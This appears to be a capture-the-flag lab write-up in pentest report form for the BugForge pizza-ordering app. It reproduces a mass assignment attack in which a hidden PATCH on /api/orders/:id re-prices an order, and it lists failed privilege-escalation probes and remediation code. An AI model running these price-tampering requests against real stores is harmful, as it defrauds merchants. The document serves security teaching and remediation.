Cheesy Does It: Mass Assignment via Hidden PATCH Verb
Executive Summary
“Cheesy Does It” is a pizza ordering web app on the BugForge platform: a Create React App single page application (MUI components) over a Node.js and Express backend, with JWT (HS256) authentication and a SQL-style datastore. Customers register, build an order, pay with a card, and track the order through delivery. The advertised objective is a flag that sits behind privileged behavior, and the lab hint for this rotation was “mass assignment”.
Testing confirmed one finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Mass assignment on the order update verb re-prices an order | Medium | 6.5 | CWE-915, CWE-472 | PATCH /api/orders/:id |
The order create path (POST /api/orders) recomputes the order total on the server and ignores any total_price sent by the client, which closes price tampering on order creation. The order update path does not share that guard: PATCH /api/orders/:id binds total_price straight from the request body and persists it. The PATCH verb is never issued by the single page application (which only calls GET /api/orders/:id and POST /api/orders), so it does not appear in an endpoint map built from the frontend bundle or from proxy history. Sending PATCH /api/orders/6 with {"total_price": 10} against one of our own orders re-priced it and returned the flag bug{7jc7OOpg2gWZg5XoRzHzcizhX7UcPjNL} in the response body.
Objective
Recover the lab flag by finding and exercising a mass assignment defect on the BugForge “Cheesy Does It” application.
Scope / Initial Access
# Target Application
URL: https://lab-1789232601685-1i6hu1.labs-app.bugforge.io
# Auth
POST /api/register -> {username, email, password, full_name, phone, address} -> JWT HS256
POST /api/login -> {username, password} -> JWT HS256
payload: {"id":N, "username":"...", "iat":...} (no role claim)
Authorization: Bearer <jwt> on protected endpoints
# Test account
haxor (id=8, role=user), created via standard self-registration
Self-registration is open. Registration and login both return {token, user}. The JWT does not carry a role claim; GET /api/verify-token returns the role on demand, and the server re-reads the role from the database on every authenticated request. Because the role lives server side rather than in the token, any privilege change would need a server side write to the user record, not a token edit.
Reconnaissance: Mapping the Order Resource by Verb
The application is a small React SPA with an enumerable API surface. Reading the bundle (/static/js/main.0de85fb7.js) and walking the checkout flow once produced the endpoint inventory. Three observations shaped the test plan:
- The frontend endpoint map lists only the verbs the client calls. For the order resource the client emits
POST /api/orders(create) andGET /api/orders/:id(read). No update verb on the detail route is emitted by the SPA, so a map derived from the bundle shows the order detail route as read only even though the server may register more verbs on it. - The create path recomputes the order total on the server. A
total_price(andstatus,points_earned,user_id,discount_total) injected intoPOST /api/orderswas ignored, and the response carried the server calculated total. This normally closes price tampering at order creation, and it raised the question of whether the update path applies the same recomputation. - Role is read server side and the user write sinks whitelist their fields. Register and profile updates accept a fixed field set and drop everything else, so setting a privileged role through those endpoints does not work (see Failed Approaches). With the role path closed and the create path recomputing, the untested surface was the order update verb the client never calls.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | React SPA (Create React App, MUI), bundle at /static/js/main.0de85fb7.js |
| Backend | Node.js and Express (a POST to an unknown path returns the Express Cannot POST 404; unknown GET paths fall to the SPA catchall) |
| Auth | JWT HS256, Authorization: Bearer ...; payload {id, username, iat}, no role claim; role read via GET /api/verify-token |
| Datastore | SQL-style (response timestamps such as 2026-09-12 17:29:55 suggest SQLite or MySQL) |
| Order lifecycle | Status auto-advances on the server over time (received through out for delivery); the update verb is accepted only while the order is pre-dispatch |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | username, email, password, full_name, phone, address (field whitelist) |
| /api/login | POST | none | username, password |
| /api/verify-token | GET | bearer | returns the user record including role |
| /api/profile | PUT | bearer | full_name, email, phone, address (field whitelist) |
| /api/orders | POST | bearer | create; total and status computed on the server |
| /api/orders/:id | GET | bearer | read a single order |
| /api/orders/:id | PATCH | bearer | update; binds total_price from the body (this finding) |
| /api/payment/validate, /api/payment/process | POST | bearer | card validation and charge |
| /api/admin/* | GET/PUT/POST | admin | 403 for a non-admin token, 401 without a token |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 (seeded, inferred) | admin |
| haxor | 8 | user (our test account) |
Attack Chain Visualization
┌──────────────────┐ ┌───────────────────────────┐ ┌──────────────────────────────┐ ┌───────────────────────────┐
│ Register │ │ Create an order │ │ PATCH the order detail route │ │ 200 OK │
│ POST │──▶│ POST /api/orders │──▶│ PATCH /api/orders/6 │──▶│ order total set to 10 │
│ /api/register │ │ total computed server │ │ {"total_price": 10} │ │ flag in the response body│
│ -> user JWT │ │ side, status "received" │ │ (verb the SPA never calls) │ │ │
└──────────────────┘ └───────────────────────────┘ └──────────────────────────────┘ └─────────────┬─────────────┘
│
▼
┌────────────────────────────────────────────────────────────┐
│ bug{7jc7OOpg2gWZg5XoRzHzcizhX7UcPjNL} │
└────────────────────────────────────────────────────────────┘
Findings
F1: Mass assignment on the order update verb re-prices an order
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-472 (External Control of Assumed-Immutable Web Parameter)
Endpoint: PATCH /api/orders/:id
Authentication required: Yes, any registered user JWT
Description
The order create and update paths handle the total_price field differently:
- Create (
POST /api/orders) recomputes the total server side. Atotal_pricesupplied in the create body is ignored, and the response returns the server calculated value. - Update (
PATCH /api/orders/:id) bindstotal_pricefrom the request body. The value in the request is written to the order record and persisted, with no recomputation from the menu prices.
Because the two verbs are separate handlers, the field whitelist on create says nothing about update. The update handler takes the client value directly, so an authenticated customer can re-price one of their own orders by sending a PATCH to its detail route.
The PATCH verb on /api/orders/:id is not exercised by the single page application, which issues only GET /api/orders/:id and POST /api/orders. An endpoint map derived from the frontend bundle or from proxy history therefore shows the order detail route as read only and does not surface the update verb at all.
Precondition (timing gate): the update is accepted only while the order is still pre-dispatch (status received or early). Once the status advances to out for delivery the update is refused. Orders auto-advance on the server over time, so the PATCH has to land shortly after the order is created. The order used here (id 6) was in status received, and the update timestamp (17:30:46) is later than the create timestamp (17:29:55), inside the window.
Impact
Would allow an authenticated customer to re-price their own order below the amount owed.
Reproduction
Step 1: Register and capture a user JWT
POST /api/register HTTP/1.1
Host: lab-1789232601685-1i6hu1.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"h@x","password":"p","full_name":"H","phone":"0","address":"x"}
Response: 200 OK with a JWT. The token decodes to {"id":8,"username":"haxor","iat":...}. Save it as USER_JWT.
Step 2: Create an order through the normal checkout
Complete a standard checkout (the lab’s valid test card is 4444 4444 4444 4444, exp 12/25, cvv 123). This produces an order that belongs to our account (user_id 8) in status received, with a server calculated total. The order created here was id 6, order_number CDI-1789234195894-MY2WQX0D4.
Step 3: While the order is pre-dispatch, PATCH the detail route with a chosen total
PATCH /api/orders/6 HTTP/1.1
Host: lab-1789232601685-1i6hu1.labs-app.bugforge.io
Authorization: Bearer <USER_JWT>
Content-Type: application/json
Content-Length: 20
{"total_price": 10}
Response:
{
"message": "Order updated successfully",
"order": {
"id": 6,
"user_id": 8,
"order_number": "CDI-1789234195894-MY2WQX0D4",
"total_price": 10,
"status": "received",
"delivery_address": "17 Bugforge Road",
"phone": "0123456789",
"payment_method": "card",
"notes": "",
"coupon_code": null,
"points_used": 0,
"discount_total": 0,
"created_at": "2026-09-12 17:29:55",
"updated_at": "2026-09-12 17:30:46"
},
"flag": "bug{7jc7OOpg2gWZg5XoRzHzcizhX7UcPjNL}"
}
The injected total_price of 10 is echoed and persisted (updated_at is later than created_at), and the lab appends the flag key to the response on the successful mutation.
Remediation
Fix 1: Recompute the total on update instead of binding it from the body
// BEFORE (Vulnerable: total_price is taken from the request body)
const { total_price, delivery_address, phone, notes } = req.body;
db.run(
'UPDATE orders SET total_price = ?, delivery_address = ?, phone = ?, notes = ? WHERE id = ? AND user_id = ?',
[total_price, delivery_address, phone, notes, orderId, req.user.id]
);
// AFTER (Secure: never accept a client total; recompute from stored items)
const { delivery_address, phone, notes } = req.body; // total_price not read from the client
const computedTotal = await recomputeOrderTotal(orderId); // same server side pricing as create
db.run(
'UPDATE orders SET total_price = ?, delivery_address = ?, phone = ?, notes = ? WHERE id = ? AND user_id = ?',
[computedTotal, delivery_address, phone, notes, orderId, req.user.id]
);
Additional recommendations:
- Apply the same field whitelist on update that the create path already uses. The update handler should accept only the fields a customer is allowed to change (for example delivery address and notes) and derive every price, status, and points field on the server.
- Treat create and update as the surface they are: any field the create path computes or drops must be computed or dropped on the update path as well. A guard on one verb does not carry to the others.
- Add an integrity check on the order pipeline that flags an order whose stored total deviates from the sum of its menu priced items, so a re-priced order is caught after the fact.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: A customer can modify a field on their own order (
total_price) that they must not control. The update handler enforces ownership (theWHEREclause binds the order to the caller) but not field level authorization over what may be changed. - A04:2021 Insecure Design: The update path trusts a client supplied total with no recomputation, while the create path recomputes. Pricing integrity depends on which verb reaches the record, which is a design gap rather than a single coding slip.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request capture, replay, and tampering (including the winning PATCH) |
| ffuf | Endpoint and path discovery (filtered against the 790-byte SPA catchall) |
| Browser DevTools | Reading the React bundle and inspecting the stored JWT and cart state |
| JS bundle review | Extracting the client’s endpoint and verb map from main.0de85fb7.js |
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-472: External Control of Assumed-Immutable Web Parameter
- OWASP Top 10 A01:2021 Broken Access Control
- OWASP Top 10 A04:2021 Insecure Design
- OWASP API Security Top 10 API3:2023 Broken Object Property Level Authorization
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass assignment of role / isAdmin / is_admin / roles[] / permissions on POST /api/register |
Role stayed user |
Registration destructures a fixed field whitelist; extra fields are dropped |
Same privileged fields on PUT /api/profile |
Role stayed user |
Profile update uses the same field whitelist |
Injected total_price / status / points_earned / user_id on POST /api/orders (create) |
All ignored | The create handler recomputes the total and status server side |
Injected user_id / status on tickets, username / user_id on reviews |
Stored as our own identity | Both handlers whitelist their fields |
Prototype pollution (__proto__, constructor.prototype with isAdmin / role) via the write endpoints |
No privilege change | No admin flip from a polluted prototype |
form-urlencoded body on POST /api/register |
400 | The body parser is JSON only |
Sibling and versioned mounts for profile and register (/v1, /v2, /api/v1, unversioned) |
404 (SPA catchall) | No legacy or versioned mount exists |
Verb-asymmetric access control on /api/admin/* (POST / PUT / DELETE with a non-admin token) |
403 uniformly | The admin middleware is applied uniformly across verbs |
Cross-user profile write via an injected {id} |
Updated our own record | The WHERE clause binds to the JWT id; the body id is not bound |
Register with the existing admin username |
400, original account unchanged | No upsert or overwrite on a username collision |
Tags: #mass-assignment #verb-tampering #hidden-handler #business-logic #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-09-12